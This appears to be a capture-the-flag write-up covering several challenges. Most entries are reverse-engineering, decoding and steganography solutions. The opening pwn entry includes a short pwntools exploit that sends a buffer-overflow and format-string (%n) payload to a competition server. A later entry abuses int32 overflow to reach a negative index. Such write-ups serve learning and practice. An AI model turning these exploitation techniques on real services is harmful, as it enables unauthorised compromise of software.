To make this easier to rev, you can compile the program with wat2wasm then decompile it to human readable code with the ghidra plugin. Once we can properly analyze the code, we can see that it's a simple program that will give hardcoded responses to certain inputs we pass it. There's a special debug command which prints with printf the address of the index variable for the index of a function table it uses. After toying around, we can see that we have a normal buffer overflow which allows us to overwrite these printf strings, so we can craft a printf string that overwrites the index to one that points to the wassflag function in the binary that prints the flag for us.

from pwn import * p = remote("52.59.124.14", 5005) p.sendlineafter(b"alone?", b"BBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA%n") p.sendlineafter(b"AAAAAAAAAA", b"debug") p.interactive()

REVERSE

flagchecker

def decrypt(enc): flag = "" for i in range(34): v = ((enc[i] << 5) | (enc[i] >> 3)) & 0xFF v = (v - i) & 0xFF flag += chr(v ^ 0x5A) return flag enc = [0xF8, 0xA8, 0xB8, 0x21, 0x60, 0x73, 0x90, 0x83, 0x80, 0xC3, 0x9B, 0x80, 0xAB, 0x09, 0x59, 0xD3, 0x21, 0xD3, 0xDB, 0xD8, 0xFB, 0x49, 0x99, 0xE0, 0x79, 0x3C, 0x4C, 0x49, 0x2C, 0x29, 0xCC, 0xD4, 0xDC, 0x42] print(decrypt(enc))

scrambled

Xor with 2a which is found by bruteforce.

45TY5CR41ND33D_34R3_3D_TM83LGG5_ENO{!!!}

then unscrambled in chunks of 4

ENO{5CR4M83L3D_3GG5_4R3_1ND33D_T45TY!!!}

backtrack

We can open up the binary in ida and find a function which seems to get some registry key values. After that's done, it passes that info on to a suspicious looking function which seems to be running some sort of decryption. Porting that decryption function over to python and running it on the encrypted file gives us a jpg of the flag

FILENAME = "data.bin" with open(FILENAME, "rb") as f: data = f.read() def r8(offset): return data[offset] def r16(offset): return int.from_bytes(data[offset:offset+2], 'little') c = 0 cur_offset = 4 decrypted = bytearray() while cur_offset < len(data): if c == 0: val = r16(cur_offset) cur_offset += 2 c = 16 if (val & 1) != 0: v8 = (r8(cur_offset) & 0xf0) << 4 v7 = (r8(cur_offset) & 0xf) + 1 v9 = v8 + r8(cur_offset + 1) cur_offset += 2 assert len(decrypted) > v9, f"{len(decrypted) = } {v9 = :#x} {decrypted = }" pos = len(decrypted) - v9 for i in range(v7): decrypted.append(decrypted[pos + i]) else: decrypted.append(r8(cur_offset)) cur_offset += 1 val >>= 1 c -= 1 with open("dec.bin", "wb") as f: f.write(bytes(decrypted))

oscilloscope

data[0] represents time, data[1] represents the clock, and data[2] represents the observed signals. For each clock cycle, if the majority of data[2] values are greater than 1, observe it as 1; otherwise, observe it as 0. Split the result into 9-bit segments and interpret them as ASCII to obtain the flag.

import pickle import matplotlib.pyplot as plt def bitstring_to_bytes(s): return int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big') data = pickle.load(open("trace.pckl", "rb")) FROM = 68000 TO = 240000 SAMPLES = 20 while data[1][FROM] > 1: FROM +=1 while data[1][TO] > 1: TO -=1 idx = FROM + SAMPLES prev = idx result = "" while idx < TO: while sum(data[1][idx-SAMPLES:idx]) > SAMPLES: idx += 1 t1 = idx while sum(data[1][idx-SAMPLES:idx]) < SAMPLES: idx += 1 t2 = idx next = (t1+t2)//2 if sum(data[2][prev:next])//(next-prev) > 1: result += "1" else: result += "0" prev = next data1 = data[1][FROM:TO] data2 = data[2][FROM:TO] x_values = data[0][FROM:TO] result = result[1:] print(result) b = b"" for i in range(0,len(result), 9): b += int(result[i:i+8],2).to_bytes() print(b) # open("x", "wb").write(b) # plt.plot(x_values, data1, linestyle='-', color='b') # plt.plot(x_values, data2, linestyle='-', color='r') # plt.xlabel('Index') # plt.ylabel('Value') # plt.grid(True) # plt.show()

MISC

Ancient Paper

Its a IBM punchcard. The decode information can be found here

""" Most code from this repo # https://github.com/MusIF-MIAI/punchcard-decoder/blob/main/card.py """ def master_card_to_map(master_card_string): # Turn the ASCII art sideways and build a hash lookup rows = master_card_string[1:].split('\n') rotated = [[r[i] for r in rows[0:13]] for i in range(5, len(rows[0]) - 1)] translate = {} for v in rotated: translate[tuple(v[1:])] = v[0] return translate # IBM punch card character map IBM_MODEL_029_KEYPUNCH = """ /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'="`.<(+|!$*);^~,%_>? | 12 / O OOOOOOOOO OOOOOO | 11| O OOOOOOOOO OOOOOO | 0| O OOOOOOOOO OOOOOO | 1| O O O O | 2| O O O O O O O O | 3| O O O O O O O O | 4| O O O O O O O O | 5| O O O O O O O O | 6| O O O O O O O O | 7| O O O O O O O O | 8| O O O O OOOOOOOOOOOOOOOOOOOOOOOO | 9| O O O O | |__________________________________________________________________|""" # Create translation map translate = master_card_to_map(IBM_MODEL_029_KEYPUNCH) def decode_punch_card(data_rows): # Convert string data to list of columns columns = [] width = len(data_rows[0]) # Create columns from rows for i in range(width): column = [] for row in data_rows: column.append(row[i] == '1') columns.append(column) # Decode each column to a character result = '' for column in columns: code_key = [] for bit in column: code_key.append('O' if bit else ' ') code_key = tuple(code_key) result += translate.get(code_key, '•') return result # manual work punch_card_data = [ "00000010001010100110000000100010101010000000000000100000000000000000000000000000", "00000001110000011000110100000100000000101011011011010000000000000000000000000000", "00000000000100000101000001010001000101010001000000001000000000000000000000000000", "10000000001000000000000010000000000000000000000000000010000000000000000000000000", "00000000000000000000000000000000000000000000000000000000000000000000000000000000", "01100000000100000000111001001010010000010000000000001001100000000000000000000000", "00000000010000000000000000000000101000000100000000000000000000000000000000000000", "00000000000011110000000000010100000100000010110000010000000000000000000000000000", "00000011000000001000000000000000000010000000001000000000000000000000000000000000", "00010000000000000000000000000000000000000000000010000000010000000000000000000000", "00000000000011000010000000110000000100000000111000000000000000000000000000000000", "00000000100000000000000100000000000000101000000001100000000000000000000000000000" ] decoded_text = decode_punch_card(punch_card_data) print("Decoded text:", decoded_text)

driving

From exiftool we can find the artist name gives us a clue and how the flag is hidden.
Artist : 2+(10*n) for all n>=10

import cv2 import os def extract_frames(video_path): cap = cv2.VideoCapture(video_path) if not cap.isOpened(): print("[!] Error: Could not open video file") return frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) print(f"[*] Total frames in video: {frame_count}") saved_count = 0 frame_number = 0 while True: ret, frame = cap.read() if not ret: break # Check if this frame should be saved based on the formula: 2+(10*n) for n>=10 # Which means frames that are 2 more than multiples of 10, starting from frame 102 if frame_number >= 102 and (frame_number - 2) % 10 == 0: output_filename = f'output_{saved_count+1:04d}.png' cv2.imwrite(output_filename, frame) print(f"[+] Saved frame {frame_number} as {output_filename}") saved_count += 1 frame_number += 1 cap.release() print(f"\n[*] Extraction complete. Saved {saved_count} frames.") video_path = 'driving.mp4' if not os.path.exists(video_path): print(f"[!] Error: Video file '{video_path}' not found") else: extract_frames(video_path)

Now checking the corners of each frame clockwise gives us the flag.

Powerplay

This is involving getting negative index of the list by exploiting squaring a positive number in np.int32 to give a negative number.
We could simply brute force it

from gmpy2 import iroot for i in range(0, 200000000): offset = i * 0x100000000 + 0xffffffff + 1 for j in range(1, 25): if iroot(offset - j, 2)[1]: print('i', i, j) # 280614 raise

then send a single value iroot(280614 * 0x100000000 + 0xffffffff + 1 - 0, 2)[0].

Profound thought

zsteg l5b245c11.png
imagedata           .. text: "286-0.\t\n\t"
b1,r,lsb,xy         .. text: "rzsZA>FCNR^_]\""
b1,r,msb,xy         .. file: OpenPGP Public Key
b1,g,msb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57"
b2,r,msb,xy         .. file: OpenPGP Secret Key
b2,bgr,msb,xy       .. file: OpenPGP Public Key
b3,r,msb,xy         .. file: RLE image data, 16888 x 4242, lower left corner: 8321, lower right corner: 65025, clear first, 16 color channels, 224 bits per pixel, 183 color map channels
b4,r,lsb,xy         .. text: "wYtE$ER\#$DUEFuREEf2E%5"
b4,g,lsb,xy         .. text: "#\"5DQ232UT2"

USBnet

Notice PNG headers. Extract the QR .
image

QR has the flag. ENO{USB_ETHERNET_ADAPTER_ARE_COOL_N!C3}

abroad study notes

Replace FF 07 with FF 00 and open the jpg file.

b = open("imp0rt4nt_3tudy_n0t3s.jpg", "rb").read()
b = b.replace(b"\xff\x07",b"\xff\x00")
open("test.jpg", "wb").write(b)

semaphore

We figured out pretty quick that this was just Flag Semaphore encoding. After parsing out all the frames with ffmpeg and decoding, we get the following output:

QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR

This looks pretty random, but chars S-Z aren't used and Q only appears in the beginning and R at the end, so we assumed those were just markers. That left us with 16 unique characters in the message, so we assumed it was hex encoding and we were able to decode it with the following script:

f = "QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR" f = f[1:-1].translate(str.maketrans("ABCDEFGHIJKLMNOP", "0123456789ABCDEF")) print(bytes.fromhex(f))

which gave us this output

b'\x10\x00E\x00\x00n\x03\x14@\x00@\x064\xdf\n\x03\x01\x04\n\x00\x00\x01\xe1\x8ez\xb7o\xe0\x7f\xa6\x0f\xad\xd1\xc4\x80\x18\x00\xfb\x93\x8e\x00\x00\x01\x01\x08\n\xbfM\x84\x08\xed~:\xa0GET /flag.txt HTTP/1.0\r\nLink-Layer: RFC-4824-semaphore\r\n\r\n\x00\x00'

So we send over that same request back to the website we got the gif from and got the flag.